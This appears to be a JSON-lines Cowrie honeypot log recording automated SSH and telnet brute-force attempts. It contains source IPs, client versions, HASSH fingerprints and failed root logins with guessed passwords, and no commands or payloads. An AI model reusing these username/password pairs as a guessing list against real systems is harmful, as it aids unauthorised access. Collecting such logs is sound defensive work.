{"eventid":"cowrie.login.failed","username":"root","password":"121212a","message":"login attempt [root/121212a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:16.714986Z","src_ip":"103.77.175.15","session":"94301b0c60c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:17.976429Z","src_ip":"103.77.175.15","session":"94301b0c60c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58414,"dst_ip":"10.17.0.5","dst_port":23,"session":"48ff6eabc152","protocol":"telnet","message":"New connection: 152.42.224.71:58414 (10.17.0.5:23) [session: 48ff6eabc152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:28.731536Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49546,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7c16b8a43cf","protocol":"ssh","message":"New connection: 103.173.227.57:49546 (159.203.135.109:22) [session: c7c16b8a43cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:41.925430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:41.930021Z","src_ip":"103.173.227.57","session":"c7c16b8a43cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:42.167690Z","src_ip":"103.173.227.57","session":"c7c16b8a43cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hollywood","message":"login attempt [root/hollywood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:42.882192Z","src_ip":"103.173.227.57","session":"c7c16b8a43cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:44.123163Z","src_ip":"103.173.227.57","session":"c7c16b8a43cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":33987,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9bb287b65d5","protocol":"ssh","message":"New connection: 46.161.50.109:33987 (159.203.135.109:22) [session: e9bb287b65d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:53.636768Z"}
{"eventid":"cowrie.session.closed","duration":25.945581674575806,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:54.676996Z","src_ip":"152.42.224.71","session":"48ff6eabc152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":56936,"dst_ip":"159.203.135.109","dst_port":23,"session":"69923f13511d","protocol":"telnet","message":"New connection: 213.108.3.46:56936 (159.203.135.109:23) [session: 69923f13511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:56.593785Z"}
{"eventid":"cowrie.session.closed","duration":0.015174150466918945,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:33:56.608861Z","src_ip":"213.108.3.46","session":"69923f13511d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40188,"dst_ip":"159.203.135.109","dst_port":22,"session":"67371826385e","protocol":"ssh","message":"New connection: 193.228.128.84:40188 (159.203.135.109:22) [session: 67371826385e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:04.293847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:04.298790Z","src_ip":"193.228.128.84","session":"67371826385e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:04.401581Z","src_ip":"193.228.128.84","session":"67371826385e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde","message":"login attempt [root/zaqxswcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:04.709367Z","src_ip":"193.228.128.84","session":"67371826385e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:05.813894Z","src_ip":"193.228.128.84","session":"67371826385e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":33989,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1ae56f40a44","protocol":"ssh","message":"New connection: 46.161.50.109:33989 (159.203.135.109:22) [session: b1ae56f40a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:05.844898Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"c47f59d204ad","protocol":"ssh","message":"New connection: 80.94.92.184:37886 (10.17.0.5:22) [session: c47f59d204ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:17.468382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:17.565672Z","src_ip":"80.94.92.184","session":"c47f59d204ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:17.685265Z","src_ip":"80.94.92.184","session":"c47f59d204ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.161.50.109","src_port":33991,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6f66e295df","protocol":"ssh","message":"New connection: 46.161.50.109:33991 (159.203.135.109:22) [session: 3d6f66e295df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:18.055132Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567890","message":"login attempt [solv/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:18.726001Z","src_ip":"80.94.92.184","session":"c47f59d204ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":38636,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ee050b729e","protocol":"ssh","message":"New connection: 109.237.96.109:38636 (10.17.0.5:22) [session: 80ee050b729e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:19.408656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:19.413171Z","src_ip":"109.237.96.109","session":"80ee050b729e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:19.506407Z","src_ip":"109.237.96.109","session":"80ee050b729e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321654","message":"login attempt [root/321654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:19.784333Z","src_ip":"109.237.96.109","session":"80ee050b729e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:19.899930Z","src_ip":"80.94.92.184","session":"c47f59d204ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:20.881712Z","src_ip":"109.237.96.109","session":"80ee050b729e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.218","src_port":56562,"dst_ip":"10.17.0.5","dst_port":22,"session":"eead9f6e4786","protocol":"ssh","message":"New connection: 198.235.24.218:56562 (10.17.0.5:22) [session: eead9f6e4786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:25.969247Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:26.124659Z","src_ip":"198.235.24.218","session":"eead9f6e4786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":41158,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb837dae6def","protocol":"ssh","message":"New connection: 46.19.67.181:41158 (159.203.135.109:22) [session: fb837dae6def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:32.197997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:32.202826Z","src_ip":"46.19.67.181","session":"fb837dae6def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:32.318298Z","src_ip":"46.19.67.181","session":"fb837dae6def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papamama","message":"login attempt [root/papamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:32.666691Z","src_ip":"46.19.67.181","session":"fb837dae6def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:33.784828Z","src_ip":"46.19.67.181","session":"fb837dae6def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43960,"dst_ip":"10.17.0.5","dst_port":23,"session":"75147765c67c","protocol":"telnet","message":"New connection: 152.42.224.71:43960 (10.17.0.5:23) [session: 75147765c67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:35.826702Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.244.173.97","src_port":52262,"dst_ip":"159.203.135.109","dst_port":22,"session":"51d3756ba210","protocol":"ssh","message":"New connection: 143.244.173.97:52262 (159.203.135.109:22) [session: 51d3756ba210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:41.003205Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:41.020474Z","src_ip":"143.244.173.97","session":"51d3756ba210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:34:41.025370Z","src_ip":"143.244.173.97","session":"51d3756ba210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617276906967163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:06.444061Z","src_ip":"152.42.224.71","session":"75147765c67c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46534,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d22358dbeb2","protocol":"ssh","message":"New connection: 185.236.22.41:46534 (159.203.135.109:22) [session: 1d22358dbeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:20.230638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:20.236088Z","src_ip":"185.236.22.41","session":"1d22358dbeb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:20.359818Z","src_ip":"185.236.22.41","session":"1d22358dbeb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty7","message":"login attempt [root/qwerty7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:20.780302Z","src_ip":"185.236.22.41","session":"1d22358dbeb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:21.903544Z","src_ip":"185.236.22.41","session":"1d22358dbeb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49336,"dst_ip":"159.203.135.109","dst_port":22,"session":"273b20faf27d","protocol":"ssh","message":"New connection: 103.122.221.179:49336 (159.203.135.109:22) [session: 273b20faf27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:39.133548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:39.141715Z","src_ip":"103.122.221.179","session":"273b20faf27d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:35:39.392560Z","src_ip":"103.122.221.179","session":"273b20faf27d","protocol":"ssh"}
